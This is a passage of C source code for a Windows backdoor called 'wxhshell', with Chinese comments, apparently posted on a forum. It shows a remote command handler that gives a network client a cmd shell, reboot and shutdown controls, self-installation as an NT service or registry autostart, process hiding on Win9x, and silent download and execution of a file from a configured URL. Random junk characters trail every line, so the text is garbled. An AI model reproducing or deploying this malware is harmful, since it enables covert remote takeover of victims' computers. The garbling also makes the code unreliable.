    switch(cmd[0]) { V7i1BR8G  
  .+hM1OF`x  
  // 帮助 ""^.fh  
  case '?': { a |+q:g0M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kDr0D$iE  
    break; b7? 2Pu  
  } "6 fTZ<  
  // 安装 `)s>},8W!  
  case 'i': { 7= x]p  
    if(Install()) z'ZGN{L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qddP-uN  
    else =o+))R4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6z80Y*|eJ  
    break; mu =H&JC  
    } \!,@pe_  
  // 卸载 jaI mO  
  case 'r': { 5x; y{qT  
    if(Uninstall()) N>4uqFo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1A b=1g{  
    else edD"jq)J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VC@{cVT  
    break; @AU<'?k  
    } #v`J]I)$  
  // 显示 wxhshell 所在路径 ~#jD/  
  case 'p': { B?)=d,E  
    char svExeFile[MAX_PATH]; eb>YvC  
    strcpy(svExeFile,"\n\r"); v(2|n}qY  
      strcat(svExeFile,ExeFile); |,Xrt8O/[  
        send(wsh,svExeFile,strlen(svExeFile),0); _o-D},f*e  
    break; _oJq32  
    } C) "|sG  
  // 重启 *R^ulp[W  
  case 'b': { h_Cac@F0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G(XI TL u*  
    if(Boot(REBOOT)) '@<aS?@!t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pu +"bq  
    else { aPMqJ#fIr  
    closesocket(wsh); aD:vNX  
    ExitThread(0); |4s`;4c&  
    } +]%d'h  
    break; 30v 3C7o=  
    } uZ(j"y  
  // 关机 |_J[n !~f7  
  case 'd': { idr,s\$>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Vqp o/  
    if(Boot(SHUTDOWN)) Q}MS $[y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51k^?5cO  
    else { F! ;0eS"xp  
    closesocket(wsh); A+lP]Oy0S  
    ExitThread(0); Qpc+1{BQ  
    } //}[(9b'\  
    break; /U#{6zeM[,  
    } JS<4%@  
  // 获取shell -S7rOq2Li  
  case 's': { V_g9oR_  
    CmdShell(wsh); {D jz']  
    closesocket(wsh); d M&BnI  
    ExitThread(0); '<C I^5^  
    break; |NcfR"[c  
  } nsJN)Pt  
  // 退出 '_~=C-g  
  case 'x': { Ex ?)FL$4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `_6!nk q8  
    CloseIt(wsh); {{?[b^  
    break; @,63%  
    } b1}P3W  
  // 离开 (f  0p   
  case 'q': { TB gD"i-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OwwlQp ~!J  
    closesocket(wsh); EQkv&k5X  
    WSACleanup(); \Om< FH}  
    exit(1); iG1vy'J#o  
    break; ncluA~8  
        } /?jAG3"  
  } tndtwM*B'  
  } 5CxD ys&<  
XTHy CK  
  // 提示信息 3JiDi X"|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i`^`^Ka  
} 9T4x1{mO  
  } (N U*PQY6  
%:/_O*~)Yg  
  return; Syn>;FX  
} 8}0W_CU,  
! Q`GA<ikv  
// shell模块句柄 J>P{8Aw  
int CmdShell(SOCKET sock) n:GK0wu.s  
{ vnXa4\Vdy  
STARTUPINFO si; PX3rHKK {  
ZeroMemory(&si,sizeof(si)); K YFumR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *sqq]uD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %p}_4+[;  
PROCESS_INFORMATION ProcessInfo; pC2r{-  
char cmdline[]="cmd"; oY:6a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0)V<)"i  
  return 0; `?Yh`P0  
} ldo7}<s  
iNR6BP W  
// 自身启动模式 5uK:f\y)l  
int StartFromService(void) {|%N  
{ %v\0Dm+A  
typedef struct ;%Jw9G\h  
{ U3 e3  
  DWORD ExitStatus; +k'5W1e  
  DWORD PebBaseAddress; ) =<,$|g  
  DWORD AffinityMask; w<*tbq  
  DWORD BasePriority; > _1*/o JO  
  ULONG UniqueProcessId; "SyAOOZ  
  ULONG InheritedFromUniqueProcessId; cjU*  
}   PROCESS_BASIC_INFORMATION; c<j2wKz  
DKCPi0  
PROCNTQSIP NtQueryInformationProcess; \FSkI0  
8? 4j-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I)AV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0(;d<u)fS  
Efb>ZQ  
  HANDLE             hProcess; bE2^sx`(  
  PROCESS_BASIC_INFORMATION pbi; 8H3|i7.1h  
x-k}RI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?5nF` [rx  
  if(NULL == hInst ) return 0; 2*-s3 >VK  
|A0LYKni  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); udDhJ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nsqs*$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N.C<Mo  
f0fN1  
  if (!NtQueryInformationProcess) return 0; 'H2TwSbIXI  
iIq='xwa9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mHo}, |  
  if(!hProcess) return 0; .Y!*6I  
+$_W4lf|E2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -$L53i&R  
<k'=_mC_  
  CloseHandle(hProcess); W6D|Rr.q  
ow*) 1eo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ci>+Zi6  
if(hProcess==NULL) return 0; * c] :,5  
 R:98'`X=  
HMODULE hMod; D[m;rcl  
char procName[255]; Ns2M8  
unsigned long cbNeeded; >&tPIrz  
V<AT"vU[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3qPj+@  
j0!Z 20  
  CloseHandle(hProcess); m]BxGwT=m  
0&Q-y&$7  
if(strstr(procName,"services")) return 1; // 以服务启动 3(':4Tas  
U[=VW0  
  return 0; // 注册表启动 0b9K/a%sQv  
} I0=YIcH5  
7wsn8_n9  
// 主模块 zR(}X8fP  
int StartWxhshell(LPSTR lpCmdLine) yHl1:cf(y  
{ FyX\S=  
  SOCKET wsl; S,Boutd  
BOOL val=TRUE; Y"~I(,nx!  
  int port=0; )y(pd  
  struct sockaddr_in door; zlZ$t{[,  
quHq?oXV,  
  if(wscfg.ws_autoins) Install(); );V6YE  
hex:e2x  
port=atoi(lpCmdLine); W[[3'JTF  
D)XF@z;  
if(port<=0) port=wscfg.ws_port; o ^L 3Xiv  
1u7Kc'.xc  
  WSADATA data; "qUUH4mR`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bB'iK4  
Qx|m{1~-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <Yu}7klJE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); twU^ewO&  
  door.sin_family = AF_INET; W}bed],l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vo<V!G{  
  door.sin_port = htons(port); tvynl;Y/  
b[Sd$ACd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -l<b|`s=w.  
closesocket(wsl); a:Js i=  
return 1; oCdWf63D  
} b;#3X)  
e )l<D)  
  if(listen(wsl,2) == INVALID_SOCKET) { ^AtAfVJN0  
closesocket(wsl); :zZK%} G<  
return 1; wq!Gj]B  
} ?9nuL}m!a  
  Wxhshell(wsl); $ 5ZBNGr  
  WSACleanup(); {^2``NYM_  
eWSA  
return 0; " l vPge  
S\K;h/;V  
} }z1aKa9  
Y&KI/]ly,L  
// 以NT服务方式启动 \ni?_F(Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UVlD]oXKh  
{ xGTVC=q  
DWORD   status = 0; wgxr8;8`q  
  DWORD   specificError = 0xfffffff; "2q}G16K  
;<d("Yz:@Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *ndXZ64  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TJ8IYo| D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @9g$+_"ZT  
  serviceStatus.dwWin32ExitCode     = 0; St9W{  
  serviceStatus.dwServiceSpecificExitCode = 0; Y%y=  
  serviceStatus.dwCheckPoint       = 0; =#dW^ ?p  
  serviceStatus.dwWaitHint       = 0; oBiJiPE=`  
A#$oY{"2Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y3+DTR0|'  
  if (hServiceStatusHandle==0) return; GZ,`?  
~wf&78  
status = GetLastError(); 8R"c}87  
  if (status!=NO_ERROR) hdt;_qa   
{ 9`Bmop  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hu0z):>y  
    serviceStatus.dwCheckPoint       = 0; ;`',M6g  
    serviceStatus.dwWaitHint       = 0; <dl:';@a-  
    serviceStatus.dwWin32ExitCode     = status; "s[wLclfG  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8)HUo?/3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UZ7Zzc#g  
    return; L#mf[a@pCn  
  } O4J <u-E$  
[E<NEl *  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =V~p QbZ  
  serviceStatus.dwCheckPoint       = 0; 6U5L>sQ  
  serviceStatus.dwWaitHint       = 0; 7p*PDoM6`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VA + ?xk  
} V:HxRMF2X  
@ -CZa^g  
// 处理NT服务事件,比如:启动、停止 |N, KA|Gdq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o0nd]"q?  
{ wm~35cF(  
switch(fdwControl) TG 9 a1q  
{ 4\ R2\  
case SERVICE_CONTROL_STOP: -l)vl<}  
  serviceStatus.dwWin32ExitCode = 0; [Ak L6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !m8MyZ}%  
  serviceStatus.dwCheckPoint   = 0; Vc0C@*fVM  
  serviceStatus.dwWaitHint     = 0; x9Um4!/t  
  { l#u$w&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xa#;<8 iV  
  } EYWRTh  
  return; mh&wvT<:{  
case SERVICE_CONTROL_PAUSE: 6BK-(>c(6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0Cd )w4C  
  break; 2GeJ\1k  
case SERVICE_CONTROL_CONTINUE: art L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L kYcAY$w  
  break; |j:"n3~6  
case SERVICE_CONTROL_INTERROGATE: }2c)UQD8  
  break; WjLy7&  
}; $Y'}wB{pc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F6XrJ?JM  
} 7[=*#7}.  
Q(v*I&k  
// 标准应用程序主函数 W;%$7&+0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `o|Y5wQ@  
{ <% #Dwo}  
xVYy`_|  
// 获取操作系统版本 fNR2(8;}  
OsIsNt=GetOsVer(); q,S[[{("  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -;]m4R)z  
G*;?&;*  
  // 从命令行安装 wJc~AP)I%z  
  if(strpbrk(lpCmdLine,"iI")) Install(); [0vgA#6I  
*Rm"3S  
  // 下载执行文件 L_4c~4  
if(wscfg.ws_downexe) { ; '6`hZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WEy$SN+P  
  WinExec(wscfg.ws_filenam,SW_HIDE); { 3,_i66  
} u}_,4J  
ZAATV+Z  
if(!OsIsNt) { DzZEn]+zt  
// 如果时win9x,隐藏进程并且设置为注册表启动 ].ZfTrM]  
HideProc(); >Sc)?[H  
StartWxhshell(lpCmdLine); _[%2QwAUj*  
} J>D+/[mFt  
else aE aU_f /  
  if(StartFromService()) 'N aNh0y  
  // 以服务方式启动 Rhw- 49AWx  
  StartServiceCtrlDispatcher(DispatchTable); %vF,wQC  
else ?XCFR t,ol  
  // 普通方式启动 \e)>]C}h  
  StartWxhshell(lpCmdLine); gR5 EK$  
jGm`Qg{<  
return 0; =n@"lY u[  
}
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只看该作者 1 发表于: 2006-10-10
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